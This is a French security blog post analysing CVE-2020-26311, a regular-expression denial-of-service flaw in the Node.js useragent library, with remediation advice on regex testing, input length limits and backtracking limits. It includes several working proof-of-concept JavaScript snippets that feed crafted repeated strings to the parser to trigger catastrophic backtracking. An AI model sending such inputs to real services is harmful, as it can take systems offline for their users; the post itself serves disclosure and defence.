Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  • Description
  • Analyse de la vulnérabilité
  • Correction
  • Tester l'expression régulière
  • Limiter le nombre de caractères
  • Mettre en place une limite de backtracking
  • Ressources
  1. Common Vulnerabilities and Exposures (CVE)
  2. 2020

CVE-2020-26311

20 Nov 2024

Précédent2020Suivant2023

Dernière mise à jour il y a 5 mois

Voici une analyse de la vulnérabilité CVE-2020-26311 de type Regular expression Denial of Server (ReDoS) affectant la librairie useragent ().

Description

  • Vendeur : N/A

  • Produit : useragent ()

  • Version(s) impactée(s) : *

  • Type de vulnérabilité : Regular expression Denial of Service (ReDoS) ()

Toutes les versions (la dernière version est la 2.3.0) de useragent sont vulnérables à une faille de type ReDoS lors du parsing du User-Agent.

Analyse de la vulnérabilité

Le parsing du User-Agent permet d'extraire des informations telles que le nom du user-agent, sa version, ou celle du système d'exploitation, en s'appuyant sur des expressions régulières :

const useragent = require('useragent');
const sampleUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36";
const agent = useragent.parse(sampleUserAgent);

console.log("Navigateur:", agent.family);
console.log("Version du navigateur:", agent.toVersion());
console.log("Système d'exploitation:", agent.os.family);
console.log("Version OS:", agent.os.toVersion());
Navigateur: Chrome
Version du navigateur: 130.0.0
Système d'exploitation: Windows
Version OS: 10.0.0

Ces très nombreuses (c'est-à-dire un peu moins de 1000) expressions régulières sont présentes dans le fichier regexps.js du dossier lib :

var parser;

exports.browser = Object.create(null);

parser = Object.create(null);
parser[0] = new RegExp("(Rival IQ, rivaliq.com)");
...
parser[0] = new RegExp("(ESPN)[%20| ]+Radio/(\\d+)\\.(\\d+)\\.(\\d+) CFNetwork");
...
parser[0] = new RegExp("(Antenna)/(\\d+) CFNetwork");
...
parser[0] = new RegExp("(TopPodcasts)Pro/(\\d+) CFNetwork");
...
parser[0] = new RegExp("(MusicDownloader)Lite/(\\d+)\\.(\\d+)\\.(\\d+) CFNetwork");
...

Malheureusement, certaines de ces expressions régulières sont vulnérables aux attaques ReDoS, ce qui peut entraîner une interruption du service. En voici quelques-unes que j'ai identifiées :

// Ligne 187 du fichier regexps.js
new RegExp("Google.*/\\+/web/snippet");

// Exploitation
const useragent = require('useragent');
const sampleUserAgent = 'Google'.repeat(1000);
const agent = useragent.parse(sampleUserAgent);
// Ligne 215 du fichier regexps.js
new RegExp("/((?:Ant-|)Nutch|[A-z]+[Bb]ot|[A-z]+[Ss]pider|Axtaris|fetchurl|Isara|ShopSalad|Tailsweep)[ \\-](\\d+)(?:\\.(\\d+)|)(?:\\.(\\d+)|)");

// Exploitation
const useragent = require('useragent');
const sampleUserAgent = 'NANA'.repeat(2000) + '0';
const agent = useragent.parse(sampleUserAgent);
// Ligne 348 du fichier regexps.js
new RegExp("Mozilla.*Mobile.*(Instagram).(\\d+)\\.(\\d+)\\.(\\d+)");

// Exploitation
const useragent = require('useragent');
const sampleUserAgent = 'MozillaMobilem'.repeat(250) + '\n';
const agent = useragent.parse(sampleUserAgent);
var useragent = require('useragent');

var attackString = "HbbTV/1.1.1CE-HTML/1.9;THOM	" + new Array(20).join("SW-Version/");
// A copy of the regular expression
var reg = /(HbbTV)\/1\.1\.1.*CE-HTML\/1\.\d;(Vendor\/)*(THOM[^;]*?)[;\s](?:.*SW-Version\/.*)*(LF[^;]+);?/;

var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + attackString + '\r\n\r\n';
console.log(useragent.parse(request).device);

Correction

La correction de ce type de vulnérabilités n'est pas toujours simple, car elle implique de modifier les expressions régulières vulnérables pour en réduire la complexité, tout en veillant à ce qu'elles continuent à détecter correctement le motif recherché.

Tester l'expression régulière

Limiter le nombre de caractères

En général, l'exploitation d'une attaque ReDoS requiert une chaîne de caractères relativement longue, en particulier lorsqu'elle est de type polynomial. Une mesure de défense en profondeur consiste donc à limiter le nombre de caractères de la chaîne à tester.

Mettre en place une limite de backtracking

Certaines technologies permettent de mettre en place une limite du nombre de backtracks pouvant être effectués. C'est ce que propose par exemple l'option pcre.backtrack_limit en PHP, qui possède une valeur par défaut de 1 000 000.

Ressources

De plus, le ticket GitHub décrivant la vulnérabilité intègre également une preuve de concept () :

Une première chose faisable lors de l'écriture d'une expression régulière, peut être d'utiliser un outil permettant d'en tester la sensibilité au ReDoS, tel que l'outil ReDoS checker () :

https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent/
https://devina.io/redos-checker
https://nvd.nist.gov/vuln/detail/CVE-2020-26311
https://github.com/3rd-Eden/useragent
https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent/
https://github.com/3rd-Eden/useragent
https://github.com/3rd-Eden/useragent
CWE-1333 - Inefficient Regular Expression Complexity